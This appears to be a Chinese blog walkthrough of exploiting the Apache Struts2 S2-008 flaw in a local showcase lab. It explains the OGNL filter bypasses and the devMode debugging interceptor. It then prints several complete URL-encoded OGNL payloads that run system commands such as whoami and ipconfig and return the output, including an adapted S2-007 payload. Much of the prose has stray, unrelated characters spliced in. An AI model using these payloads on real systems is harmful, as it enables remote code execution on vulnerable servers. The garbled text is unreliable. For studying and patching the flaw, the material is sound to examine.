struts-s2-008
此文僅供大家交流學(xué)習(xí)爽冕,嚴(yán)禁非法使用
解決網(wǎng)上大部分POC部分命令不能執(zhí)行的問題
一、參考網(wǎng)址:
https://www.waitalone.cn/struts2-command-exp.html
http://www.freebuf.com/articles/web/25337.html
二垦藏、 影響版本:
Struts 2.1.0 - Struts 2.3.1
三梆暖、 漏洞介紹:
為了防止攻擊者在參數(shù)中調(diào)用任意方法,標(biāo)志xwork.MethodAccessor.denyMethodExecution被設(shè)置為true掂骏,并且SecurityMemberAccess字段默認(rèn)allowStaticMethodAccess設(shè)置為false轰驳。另外,為了防止對上下文變量的訪問芭挽,在ParameterInterceptorStruts 2.2.1.1中應(yīng)用了改進(jìn)的參數(shù)名稱白名單:
acceptedParamNames = "[a-zA-Z0-9.][()_']+";
在某些情況下滑废,可以繞過這些限制來執(zhí)行惡意Java代碼。
Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.2.1.1****(****ExceptionDelegator****)
當(dāng)將參數(shù)值應(yīng)用于屬性時發(fā)生異常時袜爪,該值將被評估為OGNL表達(dá)式蠕趁。例如,當(dāng)將字符串值設(shè)置為整數(shù)屬性時辛馆,會發(fā)生這種情況俺陋。由于這些值不被過濾豁延,攻擊者可能會濫用OGNL語言的強(qiáng)大功能來執(zhí)行任意Java代碼,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行腊状。已報告此問題(https://issues.apache.org/jira/browse/WW-3668)诱咏,并在Struts 2.2.3.1中修復(fù)。然而缴挖,執(zhí)行任意Java代碼的能力已被忽視袋狞。
Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.3.1****(****CookieInterceptor****)
參數(shù)名稱的字符白名單不適用于CookieInterceptor。當(dāng)Struts配置為處理cookie名稱時映屋,攻擊者可以使用靜態(tài)方法訪問Java函數(shù)來執(zhí)行任意系統(tǒng)命令苟鸯。因此,allowStaticMethodAccess可以在請求中將該標(biāo)志設(shè)置為true棚点。
Struts****中的任意文件覆蓋****<= 2.3.1****(****ParameterInterceptor****)由于Struts 2.2.3.1攻擊者仍然可以訪問公共構(gòu)造函數(shù)早处,只能使用一個String類型的參數(shù)來創(chuàng)建新的Java對象并僅使用其設(shè)置器訪問參數(shù)中
的標(biāo)志allowStaticMethodAccessString類型的一個參數(shù)。例如瘫析,這可以被濫用來創(chuàng)建和覆蓋任意文件砌梆。要將禁止的字符注入文件名,可以使用未初始化的字符串屬性贬循。
Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.3.1****(****DebuggingInterceptor****)
雖然本身不??是安全漏洞咸包,但請注意,以開發(fā)人員模式運行并使用的應(yīng)用程序DebuggingInterceptor也易于執(zhí)行遠(yuǎn)程命令甘有。盡管應(yīng)用程序在生產(chǎn)過程中永遠(yuǎn)不應(yīng)該在開發(fā)人員模式下運行诉儒,但開發(fā)人員應(yīng)該意識到,這樣做不僅會帶來性能問題(如記錄在案)亏掀,而且也是關(guān)鍵的安全影響忱反。
即S2-007,參考上一篇文檔
ookiename沒有做特殊字符的限制,會被當(dāng)作ognl代碼執(zhí)行滤愕。不過java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符温算,該漏洞局限性較大,危害較小间影。
對于(1)(2)這樣的ongl表達(dá)式注竿,ongl會把1當(dāng)作一個ongl表達(dá)式先執(zhí)行。對于url參數(shù)user=(1)(2)魂贬,struts2只對user參數(shù)做了過濾巩割,并沒有限制參數(shù)值,從而導(dǎo)致漏洞的產(chǎn)生付燥,此種利用方法在S2-009中提出宣谈,S2-008中只提出了二進(jìn)制文件覆蓋的方法。
struts2配置中開啟debug調(diào)試模式键科,直接傳入ongl表達(dá)式執(zhí)行闻丑。
命令執(zhí)行EXP:exp.action?debug=command&expression=…
四漩怎、 環(huán)境搭建:
- 下載/struts/2.1.6
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
下載安裝xampp
部署showcase
解壓
- 復(fù)制到.
- 重啟tomcat
- 已成功自動部署
五、打開struts.xml
保證<constant name="struts.devMode" value="true" />
六嗦嗡、POC
3的POC
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
但并不知道該如何使用
希望大家能指導(dǎo)指導(dǎo)
4的POC
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
七勋锤、原始網(wǎng)址為
http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action
八、更改后為
http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
出現(xiàn)下載框
使用notepad++打開看到
九侥祭、發(fā)現(xiàn)問題并修改
但發(fā)現(xiàn)一個問題叁执,在運行時ipconfig時只出現(xiàn)windows ip,沒有后面的實質(zhì)性內(nèi)容卑硫,測試過各種方法不能奏效徒恋,網(wǎng)上大部分poc相同蚕断,束手無策之時想到最近寫struts2漏洞的poc大致相同欢伏,又考慮到此漏洞commond直接就可以執(zhí)行,于是我將S2-007的POC搬了過來亿乳,奇跡發(fā)生了
原網(wǎng)址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
添加構(gòu)造
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=
添加S2-007的POC
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))
執(zhí)行結(jié)果
注意修改res大小硝拧,詳情參照我的S2-007教程
成功執(zhí)行
十、至此葛假,這個漏洞基本利用完畢障陶。
本人還是一個未畢業(yè)的小萌新,希望大家多多幫助聊训,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激抱究,我也會盡量去幫助大家
堅決做一名白帽子